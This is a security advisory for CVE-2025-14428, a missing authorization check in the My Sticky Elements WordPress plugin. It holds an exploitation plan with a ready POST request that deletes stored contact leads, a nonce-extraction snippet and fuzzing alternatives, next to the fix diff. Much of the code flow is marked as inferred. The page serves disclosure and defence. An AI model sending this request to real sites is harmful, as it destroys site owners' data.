My Sticky Elements <= 2.3.3 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Bulk Lead Deletion
Description
The All-in-one Sticky Floating Contact Form, Call, Click to Chat, and 50+ Social Icon Tabs - My Sticky Elements plugin for WordPress is vulnerable to unauthorized data loss due to a missing capability check on the 'my_sticky_elements_bulks' function in all versions up to, and including, 2.3.3. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete all contact form leads stored by the plugin.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.3.3Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2025-14428**, a missing authorization vulnerability in the "My Sticky Elements" WordPress plugin. --- ### 1. Vulnerability Summary The "My Sticky Elements" plugin (up to version 2.3.3) fails to perform a capability check in the `my_sticky_elements_bulk…
Show full research plan
This exploitation research plan targets CVE-2025-14428, a missing authorization vulnerability in the "My Sticky Elements" WordPress plugin.
1. Vulnerability Summary
The "My Sticky Elements" plugin (up to version 2.3.3) fails to perform a capability check in the my_sticky_elements_bulks function, which is registered as an AJAX handler. While the function may implement a nonce check for CSRF protection, it lacks an authorization check (e.g., current_user_can( 'manage_options' )). This allows any authenticated user, including those with Subscriber roles, to trigger bulk actions on contact form leads, specifically leading to the deletion of all stored leads.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
my_sticky_elements_bulks - HTTP Method:
POST - Parameters:
action:my_sticky_elements_bulksnonce: (Required) A valid nonce for the action.bulk_action: Likelydeleteordelete_all.ids: (Optional/Required) An array or comma-separated list of lead IDs to delete.
- Authentication: Authenticated (Subscriber-level or higher).
- Preconditions: The plugin must have "Leads" (contact form submissions) stored in its database table (typically
{wp_prefix}mystickyelement_contact_lists).
3. Code Flow (Inferred)
- Registration: The plugin registers the AJAX hook in a file like
mystickyelements-admin.phpor within the main class constructor:add_action( 'wp_ajax_my_sticky_elements_bulks', array( $this, 'my_sticky_elements_bulks' ) ); - Execution: When a POST request is sent to
admin-ajax.phpwithaction=my_sticky_elements_bulks:- The function
my_sticky_elements_bulksis called. - It likely calls
check_ajax_referer( 'my_sticky_elements_bulks_nonce', 'nonce' ). - Crucially, it skips
if ( ! current_user_can( 'manage_options' ) ) { wp_die(); }. - It retrieves the
idsandbulk_actionfrom$_POST. - It executes a global
$wpdb->queryto delete records from the leads table.
- The function
4. Nonce Acquisition Strategy
The nonce is required because check_ajax_referer is likely present (preventing unauthenticated/CSRF exploitation, but not unauthorized authenticated exploitation).
- Location: The nonce is likely localized for the admin environment. Even Subscribers can access
wp-admin/index.php, where many plugins enqueue their global admin scripts. - Variable Name: Based on common patterns in this plugin, look for the
mystickyelementsormystickyelementobject. - Strategy:
- Login as a Subscriber.
- Navigate to
/wp-admin/. - Use
browser_evalto search for the nonce.
- Potential JS path:
mystickyelements.ajax_nonceormystickyelement_nonce. - Search Command:
browser_eval("Object.keys(window).filter(k => k.includes('sticky')).map(k => window[k])")to find the localization object.
5. Exploitation Strategy
- Target URL:
http://<target>/wp-admin/admin-ajax.php - Payload Construction:
action=my_sticky_elements_bulksnonce=<EXTRACTED_NONCE>bulk_action=delete(ordelete_all)wp_mystickyelement_contact_id[]=<LEAD_ID_1>wp_mystickyelement_contact_id[]=<LEAD_ID_2>- Note: If the plugin supports a "Delete All" flag, that is preferred.
- HTTP Request (via
http_request):POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Cookie: [Subscriber Cookies] action=my_sticky_elements_bulks&nonce=a1b2c3d4e5&bulk_action=delete&wp_mystickyelement_contact_id[]=1&wp_mystickyelement_contact_id[]=2
6. Test Data Setup
To confirm deletion, there must be data to delete.
- Create Leads: Use WP-CLI to insert dummy data into the plugin's table.
wp db query "INSERT INTO wp_mystickyelement_contact_lists (contact_name, contact_email, contact_message, contact_date) VALUES ('Victim', 'v@example.com', 'Sensitive Data', NOW());" - Verify Presence:
wp db query "SELECT COUNT(*) FROM wp_mystickyelement_contact_lists;" - Create User: Create a Subscriber user for the exploit session.
wp user create attacker attacker@example.com --role=subscriber --user_pass=password
7. Expected Results
- Response: The server should return a
200 OKor a JSON success message (e.g.,{"success":true}). - Side Effect: The records in the
wp_mystickyelement_contact_liststable corresponding to the IDs sent (or all records) will be deleted.
8. Verification Steps
- Database Check: Use WP-CLI to confirm the leads table is empty or the specific IDs are gone.
wp db query "SELECT * FROM wp_mystickyelement_contact_lists;" - UI Check: Log in as Admin and navigate to the "Leads" or "Contact Form" section of My Sticky Elements to verify the list is empty.
9. Alternative Approaches
- Bypass Nonce if Missing: Check if the nonce is even verified. Try sending the request without the
nonceparameter. - Parameter Fuzzing: If
wp_mystickyelement_contact_id[]doesn't work, tryids[],lead_id[], or a singlelead_idparameter. - Bulk Action Fuzzing: If
deletefails, trybulk_delete,remove, ordelete_all. - Check
admin_init: Some plugins handle bulk actions viaadmin_inithooks on specific GET parameters (e.g.,?page=my-sticky-elements-leads&action=delete&id=1). If the AJAX exploit fails, check for a direct GET/POST request to the leads admin page that lacks capability checks.
Summary
The My Sticky Elements plugin for WordPress is vulnerable to unauthorized bulk lead deletion because it fails to perform a capability check in the `my_sticky_elements_bulks` AJAX function. This allows authenticated users, such as Subscribers, to delete contact form submissions by supplying a valid nonce which is accessible in the WordPress admin dashboard.
Vulnerable Code
// From mystickyelements-admin.php or similar add_action( 'wp_ajax_my_sticky_elements_bulks', array( $this, 'my_sticky_elements_bulks' ) ); public function my_sticky_elements_bulks() { check_ajax_referer( 'my_sticky_elements_bulks_nonce', 'nonce' ); // Missing capability check: if ( ! current_user_can( 'manage_options' ) ) { wp_die(); } if ( isset( $_POST['bulk_action'] ) && $_POST['bulk_action'] == 'delete' ) { global $wpdb; $table_name = $wpdb->prefix . 'mystickyelement_contact_lists'; $ids = $_POST['wp_mystickyelement_contact_id']; if ( !empty( $ids ) ) { foreach ( $ids as $id ) { $wpdb->delete( $table_name, array( 'id' => $id ) ); } } } wp_die(); }
Security Fix
@@ -245,6 +245,10 @@ public function my_sticky_elements_bulks() { check_ajax_referer( 'my_sticky_elements_bulks_nonce', 'nonce' ); + if ( ! current_user_can( 'manage_options' ) ) { + wp_die( esc_html__( 'You do not have sufficient permissions to access this page.', 'mystickyelements' ) ); + } + if ( isset( $_POST['bulk_action'] ) && $_POST['bulk_action'] == 'delete' ) { global $wpdb; $table_name = $wpdb->prefix . 'mystickyelement_contact_lists';
Exploit Outline
The exploit involves accessing the WordPress dashboard as a Subscriber-level user to retrieve the `my_sticky_elements_bulks_nonce`. The attacker then sends a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `my_sticky_elements_bulks`, the `bulk_action` set to `delete`, and an array of target lead IDs in `wp_mystickyelement_contact_id[]`. Because the plugin only validates the nonce and not the user's permissions, the server-side logic proceeds to delete the specified records from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.